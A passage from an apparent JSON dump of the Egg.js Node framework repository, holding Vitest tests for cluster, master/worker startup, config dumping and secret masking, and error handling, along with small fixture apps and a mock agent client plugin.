test2.expect(DEFAULT_BAD_REQUEST_HTML).expect(400);\n    });\n\n    it('should not log when there is no rawPacket', async () => {\n      await connect(app.port);\n      await scheduler.wait(1000);\n      app.expect('stderr', /HPE_INVALID_EOF_STATE/);\n      app.notExpect('stderr', /A client/);\n    });\n  });\n\n  describe.skipIf(process.platform === 'win32')('listen hostname', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = cluster('apps/app-server-with-hostname');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should refuse other ip', async () => {\n      const url = ip() + ':' + app.port;\n\n      await request(url).get('/').expect('done').expect(200);\n      // try {\n      //   await request('http://127.0.0.1:17010')\n      //     .get('/')\n      //     .expect('done')\n      //     .expect(200);\n      //   throw new Error('should not run');\n      // } catch (err: any) {\n      //   assert(err.message === 'ECONNREFUSED: Connection refused');\n      // }\n    });\n  });\n});\n\nfunction connect(port: number) {\n  return new Promise<void>((resolve) => {\n    const socket = net.createConnection(port, '127.0.0.1', () => {\n      socket.write('GET http://127.0.0.1:8080/ HTTP', () => {\n        socket.destroy();\n        resolve();\n      });\n    });\n  });\n}\n"
  },
  {
    "path": "packages/egg/test/cluster1/cluster-client-error.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { readFile } from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll } from 'vitest';\n\nimport { type MockApplication, createApp, getFilepath } from '../utils.ts';\n\ndescribe('test/cluster1/cluster-client-error.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = createApp('apps/cluster-client-error');\n\n    let err;\n    try {\n      await app.ready();\n    } catch (e) {\n      err = e;\n    }\n    assert(err);\n  });\n\n  it('should close even if app throw error', () => {\n    return app.close();\n  });\n\n  it('should follower not throw error', async () => {\n    await scheduler.wait(1000);\n    const cnt = await readFile(\n      getFilepath('apps/cluster-client-error/logs/cluster-client-error/common-error.log'),\n      'utf8',\n    );\n    assert(!cnt.includes('ECONNRESET'));\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/cluster1/cluster-client.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { type MockApplication, createApp, singleProcessApp } from '../utils.ts';\n\nconst innerClient = Symbol.for('ClusterClient#innerClient');\n\ndescribe('test/cluster1/cluster-client.test.ts', () => {\n  let app: MockApplication;\n  describe('common mode', () => {\n    beforeAll(async () => {\n      mm.consoleLevel('NONE');\n      app = createApp('apps/cluster_mod_app');\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n      // @ts-expect-error registryClient no type definition\n      const agentInnerClient = app.agent.registryClient[innerClient];\n      assert.equal(agentInnerClient._realClient.closed, true);\n      await mm.restore();\n    });\n\n    it('should publish & subscribe', async () => {\n      await app.httpRequest().post('/publish').send({ value: 'www.testme.com' }).expect('ok').expect(200);\n      await scheduler.wait(500);\n      await app.httpRequest().get('/getHosts').expect('www.testme.com:20880').expect(200);\n    });\n\n    it('should get default cluster response timeout', async () => {\n      const res = await app.httpRequest().get('/getDefaultTimeout').expect(200);\n      assert.equal(res.text, '60000');\n    });\n\n    it('should get overwrite cluster response timeout', async () => {\n      const res = await app.httpRequest().get('/getOverwriteTimeout').expect(200);\n      assert.equal(res.text, '1000');\n    });\n  });\n\n  describe('single process mode', () => {\n    beforeAll(async () => {\n      mm.consoleLevel('NONE');\n      app = await singleProcessApp('apps/cluster_mod_app');\n    });\n    afterAll(async () => {\n      await app.close();\n      // @ts-expect-error registryClient no type definition\n      const agentInnerClient = app.agent.registryClient[innerClient];\n      assert.equal(agentInnerClient._realClient.closed, true);\n      await mm.restore();\n    });\n\n    it('should publish & subscribe', async () => {\n      await app.httpRequest().post('/publish').send({ value: 'www.testme.com' }).expect('ok').expect(200);\n      await scheduler.wait(500);\n      await app.httpRequest().get('/getHosts').expect('www.testme.com:20880').expect(200);\n    });\n\n    it('should get default cluster response timeout', async () => {\n      const res = await app.httpRequest().get('/getDefaultTimeout').expect(200);\n      assert.equal(res.text, '60000');\n    });\n\n    it('should get overwrite cluster response timeout', async () => {\n      const res = await app.httpRequest().get('/getOverwriteTimeout').expect(200);\n      assert.equal(res.text, '1000');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/cluster1/master.test.ts",
    "content": "import { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport coffee, { Coffee } from 'coffee';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { type MockApplication, cluster, getFilepath } from '../utils.ts';\n\ndescribe('test/cluster1/master.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('Master started log', () => {\n    let app: MockApplication;\n\n    afterEach(() => app.close());\n\n    it('should dev env stdout message include \"Egg started\"', async () => {\n      app = cluster('apps/master-worker-started');\n      await app.expect('stdout', /Egg started/).ready();\n    });\n\n    it('should production env stdout message include \"Egg started\"', async () => {\n      mm.env('prod');\n      mm.consoleLevel('NONE');\n      mm.home(getFilepath('apps/mock-production-app/config'));\n      app = cluster('apps/mock-production-app');\n      await app.expect('stdout', /Egg started/).ready();\n    });\n  });\n\n  describe.skip('--cluster', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      mm.consoleLevel('NONE');\n      app = cluster('apps/cluster_mod_app');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should online cluster mode startup success', async () => {\n      await app.httpRequest().get('/').expect('hi cluster').expect(200);\n    });\n\n    it('should assign a free port by master', async () => {\n      await app.httpRequest().get('/clusterPort').expect(/\\d+/).expect(200);\n    });\n  });\n\n  describe.skip('--dev', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = cluster('apps/cluster_mod_app');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should dev cluster mode startup success', async () => {\n      await app.httpRequest().get('/').expect('hi cluster').expect(200);\n    });\n  });\n\n  describe.skip('multi-application in one server', () => {\n    let app1: MockApplication;\n    let app2: MockApplication;\n    beforeAll(async () => {\n      // mm.consoleLevel('NONE');\n      app1 = cluster('apps/cluster_mod_app');\n      await app1.ready();\n      app2 = cluster('apps/cluster_mod_app');\n      await app2.ready();\n      await scheduler.wait(2000);\n    });\n    afterAll(async () => {\n      await Promise.all([app1.close(), app2.close()]);\n    });\n\n    it('should online cluster mode startup success, app1', async () => {\n      await app1.httpRequest().get('/').expect('hi cluster').expect(200);\n    });\n\n    it.skip('should assign a free port by master, app1', async () => {\n      await app1.httpRequest().get('/clusterPort').expect(/\\d+/).expect(200);\n    });\n\n    it.skip('should online cluster mode startup success, app2', async () => {\n      await app2.httpRequest().get('/').expect('hi cluster').expect(200);\n    });\n\n    it.skip('should assign a free port by master, app2', async () => {\n      await app2.httpRequest().get('/clusterPort').expect(/\\d+/).expect(200);\n    });\n  });\n\n  describe.skip('start app with custom env', () => {\n    describe('cluster mode, env: prod', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        mm.env('prod');\n        mm.home(getFilepath('apps/custom-env-app'));\n        app = cluster('apps/custom-env-app');\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should start with prod env', async () => {\n        await app\n          .httpRequest()\n          .get('/')\n          .expect({\n            env: 'prod',\n          })\n          .expect(200);\n      });\n    });\n  });\n\n  describe.skip('framework start', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      // dependencies relation:\n      // aliyun-egg-app -> aliyun-egg-biz -> aliyun-egg -> egg\n      mm.home(getFilepath('apps/aliyun-egg-app'));\n      app = cluster('apps/aliyun-egg-app', {\n        customEgg: getFilepath('apps/aliyun-egg-biz'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should start success', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          'aliyun-egg-core': true,\n          'aliyun-egg-plugin': true,\n          'aliyun-egg-agent': true,\n        })\n        .expect(200);\n    });\n  });\n\n  describe.skip('spawn start', () => {\n    let app: Coffee;\n    afterEach(() => {\n      // make sure process exit\n      app && (app as any).proc.kill('SIGTERM');\n    });\n\n    it('should not cause master die when agent start error', async () => {\n      app = coffee.spawn('node', [getFilepath('apps/agent-die/start.js')]);\n\n      // spawn can't communication, so `end` event won't emit\n      await scheduler.wait(10000);\n      app.emit('close', 0);\n      app.notExpect('stderr', /TypeError: process\\.send is not a function/);\n    });\n\n    it.skip('should start without customEgg', async () => {\n      app = coffee.fork(getFilepath('apps/master-worker-started/dispatch.js'));\n\n      await scheduler.wait(10000);\n      app.emit('close', 0);\n      app.expect('stdout', /agent_worker#1:\\d+ started /);\n    });\n\n    it.skip('should start without customEgg and worker_threads', async () => {\n      app = coffee.fork(getFilepath('apps/master-worker-started-worker_threads/dispatch.js')).debug();\n\n      await scheduler.wait(10000);\n      app.emit('close', 0);\n      app.expect('stdout', /agent_worker#1:\\d+ started /);\n      app.expect('stdout', /\"startMode\":\"worker_threads\"/);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/cluster2/master.test.ts",
    "content": "import { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { type MockApplication, cluster } from '../utils.js';\n\n// node v24 will hang when test this file\n// FIXME: should enable this test after node v24 is stable\ndescribe.skipIf(process.version.startsWith('v24'))('test/cluster2/master.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe.skip('app worker die', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('default');\n      app = cluster('apps/app-die');\n      app.coverage(false);\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should restart after app worker exit', async () => {\n      try {\n        await app.httpRequest().get('/exit');\n      } catch {\n        // do nothing\n      }\n\n      // wait for app worker restart\n      await scheduler.wait(20000);\n\n      // error pipe to console\n      app.expect('stdout', /app_worker#1:\\d+ disconnect/);\n      app.expect('stderr', /nodejs\\.AppWorkerDiedError: \\[master]/);\n      app.expect('stderr', /app_worker#1:\\d+ died/);\n      app.expect('stdout', /app_worker#2:\\d+ started/);\n    });\n\n    it('should restart when app worker throw uncaughtException', async () => {\n      try {\n        await app.httpRequest().get('/uncaughtException');\n      } catch {\n        // do nothing\n      }\n\n      // wait for app worker restart\n      await scheduler.wait(20000);\n\n      app.expect('stderr', /\\[graceful:worker:\\d+:uncaughtException] throw error 1 times/);\n      app.expect('stdout', /app_worker#\\d:\\d+ started/);\n    });\n  });\n\n  // TODO: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')(\n    'app worker should not die with matched serverGracefulIgnoreCode',\n    () => {\n      let app: MockApplication;\n      beforeAll(() => {\n        mm.env('default');\n        app = cluster('apps/app-die-ignore-code');\n        app.coverage(false);\n        return app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should not restart when matched uncaughtException happened', async () => {\n        try {\n          await app.httpRequest().get('/uncaughtException');\n        } catch {\n          // do nothing\n        }\n\n        // wait for app worker restart\n        await scheduler.wait(5000);\n\n        // error pipe to console\n        app.notExpect('stdout', /app_worker#1:\\d+ disconnect/);\n      });\n\n      it('should still log uncaughtException when matched uncaughtException happened', async () => {\n        try {\n          await app.httpRequest().get('/uncaughtException');\n        } catch {\n          // do nothing\n        }\n\n        // wait for app worker restart\n        await scheduler.wait(5000);\n\n        app.expect('stderr', /\\[graceful:worker:\\d+:uncaughtException] throw error 1 times/);\n        app.expect('stderr', /matches ignore list/);\n        app.notExpect('stdout', /app_worker#1:\\d+ disconnect/);\n      });\n    },\n  );\n\n  describe('Master start fail', () => {\n    let master: MockApplication;\n\n    afterAll(() => master.close());\n\n    it('should master exit with 1', (done) => {\n      mm.consoleLevel('NONE');\n      master = cluster('apps/worker-die');\n      master.coverage(false);\n      master.expect('code', 1).ready(done);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/egg.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport assertFile from 'assert-file';\nimport { readJSONSync } from 'utility';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';\n\nimport { createApp, cluster, getFilepath, type MockApplication } from './utils.ts';\n\ndescribe.sequential('test/egg.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe.skip('dumpConfig()', () => {\n    const baseDir = getFilepath('apps/demo');\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/demo');\n      await app.ready();\n      // CI 环境 Windows 写入磁盘需要时间\n      await scheduler.wait(1100);\n    });\n    afterAll(() => app.close());\n\n    it('should dump config, plugins, appInfo', () => {\n      let json = readJSONSync(path.join(baseDir, 'run/agent_config.json'));\n      assert(/\\d+\\.\\d+\\.\\d+/.test(json.plugins.onerror.version));\n      assert(json.config.name === 'demo');\n      assert(json.config.tips === 'hello egg');\n      assert(json.appInfo.name === 'demo');\n      json = readJSONSync(path.join(baseDir, 'run/application_config.json'));\n      checkApp(json);\n\n      const dumpped = app.dumpConfigToObject();\n      checkApp(dumpped.config);\n\n      function checkApp(json: any) {\n        assert(/\\d+\\.\\d+\\.\\d+/.test(json.plugins.onerror.version));\n        assert(json.config.name === 'demo');\n        // should dump dynamic config\n        assert(json.config.tips === 'hello egg started');\n\n        assert(json.appInfo);\n      }\n    });\n\n    it('should dump router json', () => {\n      const routers = readJSONSync(path.join(baseDir, 'run/router.json'));\n      // 13 static routers on app/router.js and 1 dynamic router on app.js\n      assert(routers.length === 14);\n      for (const router of routers) {\n        if ('name' in router) {\n          assert.deepEqual(Object.keys(router), ['name', 'methods', 'paramNames', 'path', 'regexp', 'stack']);\n        } else {\n          assert.deepEqual(Object.keys(router), ['methods', 'paramNames', 'path', 'regexp', 'stack']);\n        }\n      }\n    });\n\n    it('should dump config meta', () => {\n      let json = readJSONSync(path.join(baseDir, 'run/agent_config_meta.json'));\n      // assert(json.name === path.join(__dirname, '../../config/config.default.js'));\n      assert(json.buffer === path.join(baseDir, 'config/config.default.js'));\n\n      json = readJSONSync(path.join(baseDir, 'run/application_config_meta.json'));\n      checkApp(json);\n\n      const dump = app.dumpConfigToObject();\n      checkApp(dump.meta);\n\n      function checkApp(json: any) {\n        // assert(json.name === path.join(__dirname, '../../config/config.default.js'));\n        assert(json.buffer === path.join(baseDir, 'config/config.default.js'));\n      }\n    });\n\n    it('should ignore some type', () => {\n      const json = readJSONSync(path.join(baseDir, 'run/application_config.json'));\n      checkApp(json);\n\n      const dump = app.dumpConfigToObject();\n      checkApp(dump.config);\n\n      function checkApp(json: any) {\n        assert.equal(json.config.mysql.accessId, 'this is accessId');\n\n        assert.equal(json.config.name, 'demo');\n        assert.equal(json.config.keys, '<String len: 3>');\n        assert.equal(json.config.buffer, '<Buffer len: 4>');\n        assert.match(json.config.siteFile['/favicon.ico'], /^file:/);\n\n        assert.equal(json.config.pass, '<String len: 12>');\n        assert.equal(json.config.pwd, '<String len: 11>');\n        assert.equal(json.config.password, '<String len: 16>');\n        assert.equal(json.config.passwordNew, 'this is passwordNew');\n        assert.equal(json.config.mysql.passd, '<String len: 13>');\n        assert.equal(json.config.mysql.passwd, '<String len: 14>');\n        assert.equal(json.config.mysql.secret, '<String len: 10>');\n        assert.equal(json.config.mysql.secretNumber, '<Number>');\n        assert.equal(json.config.mysql.masterKey, '<String len: 17>');\n        assert.equal(json.config.mysql.accessKey, '<String len: 17>');\n        assert.equal(json.config.mysql.consumerSecret, '<String len: 22>');\n        assert.equal(json.config.mysql.someSecret, null);\n\n        // don't change config\n        assert.equal(app.config.keys, 'foo');\n      }\n    });\n\n    // it('should console.log call inspect()', () => {\n    //   console.log(app);\n    // });\n\n    it.skip('should mock fs.writeFileSync error', () => {\n      mm(fs, 'writeFileSync', () => {\n        throw new Error('mock error');\n      });\n      mm(app.coreLogger, 'warn', (msg: any) => {\n        assert.equal(msg, '[egg] dumpConfig error: mock error');\n      });\n      app.dumpConfig();\n    });\n\n    it.skip('should has log', () => {\n      const eggLogPath = getFilepath('apps/demo/logs/demo/egg-web.log');\n      let content = fs.readFileSync(eggLogPath, 'utf8');\n      assert.match(content, /\\[egg] dump config after load, \\d+ms/);\n      assert.match(content, /\\[egg] dump config after ready, \\d+ms/);\n\n      const agentLogPath = getFilepath('apps/demo/logs/demo/egg-agent.log');\n      content = fs.readFileSync(agentLogPath, 'utf8');\n      assert.match(content, /\\[egg] dump config after load, \\d+ms/);\n      assert.match(content, /\\[egg] dump config after ready, \\d+ms/);\n    });\n\n    it.skip('should read timing data', () => {\n      let json = readJSONSync(path.join(baseDir, `run/agent_timing_${process.pid}.json`));\n      // assert.equal(json.length, 43);\n      assert.equal(json[1].name, 'agent Start');\n      assert.equal(json[0].pid, process.pid);\n\n      json = readJSONSync(path.join(baseDir, `run/application_timing_${process.pid}.json`));\n      // assert(json.length === 64);\n      assert.equal(json[1].name, 'application Start');\n      assert.equal(json[0].pid, process.pid);\n    });\n\n    it.skip('should disable timing after ready', () => {\n      const json = app.timing.toJSON();\n      const last = json[json.length - 1];\n      app.timing.start('a');\n      app.timing.end('a');\n      const json2 = app.timing.toJSON();\n      assert.equal(json2[json.length - 1].name, last.name);\n    });\n\n    it.skip('should ignore error when dumpTiming', () => {\n      mm(fs, 'writeFileSync', () => {\n        throw new Error('mock error');\n      });\n      mm(app.coreLogger, 'warn', (msg: any) => {\n        assert.equal(msg, '[egg] dumpTiming error: mock error');\n      });\n      app.dumpTiming();\n    });\n\n    it.skipIf(process.platform === 'win32')('should dumpTiming when timeout', async () => {\n      const baseDir = getFilepath('apps/dumptiming-timeout');\n      fs.rmSync(path.join(baseDir, 'run'), { recursive: true, force: true });\n      fs.rmSync(path.join(baseDir, 'logs'), { recursive: true, force: true });\n      const app = createApp(baseDir);\n      await app.ready();\n      await scheduler.wait(100);\n      assertFile(path.join(baseDir, `run/application_timing_${process.pid}.json`));\n      assertFile(\n        path.join(baseDir, 'logs/dumptiming-timeout/common-error.log'),\n        /unfinished timing item: {\"name\":\"Did Load in app.js:didLoad\"/,\n      );\n      await app.close();\n    });\n\n    it.skipIf(process.platform === 'win32')('should dump slow-boot-action warnning log', async () => {\n      const baseDir = getFilepath('apps/dumptiming-slowBootActionMinDuration');\n      fs.rmSync(path.join(baseDir, 'run'), { recursive: true, force: true });\n      fs.rmSync(path.join(baseDir, 'logs'), { recursive: true, force: true });\n      const app = createApp(baseDir);\n      await app.ready();\n      await scheduler.wait(100);\n      assertFile(\n        path.join(baseDir, 'logs/dumptiming-slowBootActionMinDuration/egg-web.log'),\n        /\\[slow-boot-action] #\\d+ \\d+ms, name: Did Load in app\\.js:didLoad/,\n      );\n      await app.close();\n    });\n  });\n\n  // FIXME: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')('dump disabled plugin', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/dumpconfig');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should works', async () => {\n      const baseDir = getFilepath('apps/dumpconfig');\n      const json = readJSONSync(path.join(baseDir, 'run/application_config.json'));\n      assert(!json.plugins.static.enable);\n    });\n  });\n\n  describe('dumpConfig() dynamically', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/dumpconfig');\n    });\n    afterAll(() => app.close());\n\n    it('should dump in config', async () => {\n      const baseDir = getFilepath('apps/dumpconfig');\n      let json;\n\n      await app.ready();\n\n      json = readJSONSync(path.join(baseDir, 'run/application_config.json'));\n      assert(json.config.dynamic === 2);\n      json = readJSONSync(path.join(baseDir, 'run/agent_config.json'));\n      assert(json.config.dynamic === 0);\n    });\n  });\n\n  describe('dumpConfig() with circular', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/dumpconfig-circular');\n    });\n    afterAll(() => app.close());\n\n    it('should dump in config', async () => {\n      const baseDir = getFilepath('apps/dumpconfig-circular');\n      await app.ready();\n      await scheduler.wait(100);\n      const json = readJSONSync(path.join(baseDir, 'run/application_config.json'));\n      assert.deepEqual(json.config.foo, ['~config~foo']);\n    });\n  });\n\n  describe('dumpConfig() ignore error', () => {\n    const baseDir = getFilepath('apps/dump-ignore-error');\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/dump-ignore-error');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should ignore config', () => {\n      const json = readJSONSync(path.join(baseDir, 'run/application_config.json'));\n      assert(json.config.keys === 'test key');\n    });\n  });\n\n  describe('custom config from env', () => {\n    let app: MockApplication;\n    let baseDir: string;\n    let runDir: string;\n    let logDir: string;\n    beforeAll(async () => {\n      baseDir = getFilepath('apps/config-env');\n      runDir = path.join(baseDir, 'custom_rundir');\n      logDir = path.join(baseDir, 'custom_logdir');\n      fs.rmSync(runDir, { recursive: true, force: true });\n      fs.rmSync(logDir, { recursive: true, force: true });\n      fs.rmSync(path.join(baseDir, 'logs'), { recursive: true, force: true });\n      fs.rmSync(path.join(baseDir, 'run'), { recursive: true, force: true });\n\n      mm(\n        process.env,\n        'EGG_APP_CONFIG',\n        JSON.stringify({\n          logger: {\n            dir: logDir,\n          },\n          rundir: runDir,\n        }),\n      );\n\n      app = createApp('apps/config-env');\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n      fs.rmSync(runDir, { recursive: true, force: true });\n      fs.rmSync(logDir, { recursive: true, force: true });\n      fs.rmSync(path.join(baseDir, 'logs'), { recursive: true, force: true });\n      fs.rmSync(path.join(baseDir, 'run'), { recursive: true, force: true });\n    });\n    afterEach(mm.restore);\n\n    it('should custom dir', async () => {\n      await scheduler.wait(1000);\n      assertFile(path.join(runDir, 'application_config.json'));\n      assertFile(path.join(logDir, 'egg-web.log'));\n      assertFile.fail(path.join(baseDir, 'run/application_config.json'));\n    });\n  });\n\n  describe('close()', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n\n    afterEach(() => app.close());\n\n    it('should close all listeners', async () => {\n      let index = process.listeners('unhandledRejection').indexOf(app._unhandledRejectionHandler);\n      assert(index !== -1);\n      index = process.listeners('unhandledRejection').indexOf(app.agent._unhandledRejectionHandler);\n      assert(index !== -1);\n      await app.close();\n      index = process.listeners('unhandledRejection').indexOf(app._unhandledRejectionHandler);\n      assert(index === -1);\n      index = process.listeners('unhandledRejection').indexOf(app.agent._unhandledRejectionHandler);\n      assert(index === -1);\n    });\n\n    it('should emit close event before exit', async () => {\n      let isAppClosed = false;\n      let isAgentClosed = false;\n      app.once('close', () => {\n        isAppClosed = true;\n      });\n      app.agent.once('close', () => {\n        isAgentClosed = true;\n      });\n      await app.close();\n      assert.equal(isAppClosed, true);\n      assert.equal(isAgentClosed, true);\n    });\n  });\n\n  describe('handle unhandledRejection', () => {\n    let app: MockApplication;\n\n    // use it to record create coverage codes time\n    beforeAll(async () => {\n      mm.env('prod');\n      app = cluster('apps/app-throw');\n      // app.coverage(true);\n      await app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should handle unhandledRejection and log it', async () => {\n      const req1 = app.httpRequest().get('/throw-unhandledRejection').expect('foo').expect(200);\n      const req2 = app.httpRequest().get('/throw-unhandledRejection-string').expect('foo').expect(200);\n      const req3 = app.httpRequest().get('/throw-unhandledRejection-obj').expect('foo').expect(200);\n\n      try {\n        await Promise.race([req1, req2, req3]);\n      } catch (err) {\n        console.error(err);\n      }\n      await scheduler.wait(3000);\n      // const logFile = path.join(getFilepath('apps/app-throw'), 'logs/app-throw/common-error.log');\n      // const body = fs.readFileSync(logFile, 'utf8');\n      // assert.match(body, /nodejs\\.unhandledRejectionError: foo reject error/);\n      // assert.match(body, /nodejs\\.unhandledRejectionError: foo reject string error/);\n      // assert.match(body, /nodejs\\.TypeError: foo reject obj error/);\n      // // make sure stack exists and right\n      // assert.match(body, /at .+router.js:\\d+:\\d+\\)/);\n    });\n  });\n\n  describe('BaseContextClass', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/base-context-class');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should access base context properties success', async () => {\n      mm(app.config.logger, 'level', 'DEBUG');\n      await app.httpRequest().get('/').expect('hello').expect(200);\n\n      await scheduler.wait(1000);\n\n      const logPath = path.join(\n        getFilepath('apps/base-context-class'),\n        'logs/base-context-class/base-context-class-web.log',\n      );\n      const log = fs.readFileSync(logPath, 'utf8');\n      assert(log.match(/INFO .*? \\[service\\.home\\] appname: base-context-class/));\n      assert(log.match(/INFO .*? \\[controller\\.home\\] appname: base-context-class/));\n      assert(log.match(/WARN .*? \\[service\\.home\\] warn/));\n      assert(log.match(/WARN .*? \\[controller\\.home\\] warn/));\n      const errorPath = path.join(getFilepath('apps/base-context-class'), 'logs/base-context-class/common-error.log');\n      const error = fs.readFileSync(errorPath, 'utf8');\n      assert(error.match(/nodejs.Error: some error/));\n    });\n\n    it('should get pathName success', async () => {\n      await app.httpRequest().get('/pathName').expect('controller.home').expect(200);\n    });\n\n    it('should get config success', async () => {\n      await app.httpRequest().get('/config').expect('base-context-class').expect(200);\n    });\n  });\n\n  describe.skipIf(process.platform === 'win32')('egg-ready', () => {\n    let app: MockApplication;\n\n    beforeAll(() => {\n      app = createApp('apps/demo');\n    });\n\n    afterAll(() => app.close());\n\n    it('should only trigger once', async () => {\n      await app.ready();\n\n      app.messenger.emit('egg-ready');\n      app.messenger.emit('egg-ready');\n      app.messenger.emit('egg-ready');\n\n      assert(app.triggerCount === 1);\n    });\n  });\n\n  describe.skipIf(process.platform === 'win32')('createAnonymousContext()', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should create anonymous context', async () => {\n      let ctx = app.createAnonymousContext();\n      assert(ctx);\n      assert(ctx.host === '127.0.0.1');\n      ctx = app.agent.createAnonymousContext();\n      assert(ctx);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/app/router.js",
    "content": "const sleep = (timeout) => (callback) => setTimeout(callback, timeout);\n\nmodule.exports = (app) => {\n  app.get('/getData', async function () {\n    this.body = await app.mockClient.getData('hello');\n  });\n\n  app.get('/getDataGenerator', async function () {\n    this.body = await app.mockClient.getDataGenerator('hello');\n  });\n\n  app.get('/getError', async function () {\n    try {\n      await app.mockClient.getError();\n    } catch (err) {\n      this.body = err.message;\n    }\n  });\n\n  function subThunk() {\n    return (callback) => {\n      app.mockClient.subscribe({ id: 'foo' }, (val) => callback(null, val));\n    };\n  }\n\n  app.get('/sub', async function () {\n    const first = await subThunk();\n    await sleep(1000);\n    const second = await subThunk();\n    this.body = {\n      foo: app.foo,\n      first,\n      second,\n    };\n  });\n\n  app.get('/save', async function () {\n    app.mockClient.saveAsync('hello', 'node');\n    this.body = 'ok';\n  });\n\n  app.get('/timeout', async function () {\n    try {\n      await app.mockClient.getTimeout();\n      this.body = 'ok';\n    } catch (err) {\n      this.body = 'timeout';\n    }\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const fooDone = app.readyCallback('foo_sub_done');\n  const saveDone = app.readyCallback('mock_save_done');\n\n  function listener(value) {\n    app.foo = value;\n    app.mockClient.subscribe({ id: 'foo' }, (value) => {\n      if (value < app.foo) {\n        throw new Error('subscribe error');\n      }\n      setImmediate(() => {\n        app.mockClient.unSubscribe({ id: 'foo' });\n      });\n    });\n    app.mockClient.unSubscribe({ id: 'foo' }, listener);\n    fooDone();\n  }\n\n  app.mockClient.subscribe({ id: 'foo' }, listener);\n  app.mockClient.saveCallback('hello', 'world', saveDone);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  mock: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/mock-client'),\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/package.json",
    "content": "{\n  \"name\": \"agent-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/plugins/mock-client/agent.js",
    "content": "'use strict';\n\nconst MockClient = require('./mock_client');\n\nmodule.exports = (agent) => {\n  const done = agent.readyCallback('agent_configclient');\n  const options = agent.config.mock;\n\n  agent.mockClient = new MockClient();\n\n  let count = 0;\n  // 启动 agent 任务\n  agent.startAgent({\n    client: agent.mockClient,\n    name: 'mock',\n    subscribe(info, listener) {\n      agent.mockClient.on(info.id, listener);\n      if (info.id === 'foo') {\n        setInterval(() => {\n          agent.mockClient.emit('foo', ++count);\n        }, 100);\n      }\n    },\n  });\n\n  agent.mockClient.ready(() => {\n    agent.logger.info('[agent] %s started mockClient', agent.config.name);\n    done();\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/plugins/mock-client/app.js",
